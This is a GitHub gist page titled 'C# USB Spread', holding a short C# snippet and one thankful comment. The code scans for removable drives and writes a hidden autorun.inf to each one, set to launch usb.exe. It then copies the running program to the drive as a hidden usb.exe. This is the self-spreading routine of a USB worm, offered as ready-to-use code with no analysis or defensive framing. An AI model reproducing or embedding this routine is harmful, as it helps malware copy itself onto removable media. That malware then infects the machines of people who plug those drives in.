Skip to content

Instantly share code, notes, and snippets.

@veyselsahin
Created November 7, 2013 15:51
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save veyselsahin/7356869 to your computer and use it in GitHub Desktop.
Save veyselsahin/7356869 to your computer and use it in GitHub Desktop.
C# USB Spread
using System.IO;
DriveInfo[] drives = DriveInfo.GetDrives();
foreach (DriveInfo drive in drives)
{
if (drive.DriveType == DriveType.Removable)
{
StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
writer.WriteLine("[autorun]\n");
writer.WriteLine("open=usb.exe");
writer.WriteLine("action=Run win32");
writer.Close();
File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);
File.Copy(Application.ExecutablePath, drive.Name + "usb.exe", true);
File.SetAttributes(drive.Name + "usb.exe", File.GetAttributes(drive.Name + "usb.exe") | FileAttributes.Hidden);
}
}
Copy link

ghost commented Jul 17, 2017

thanks dude

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment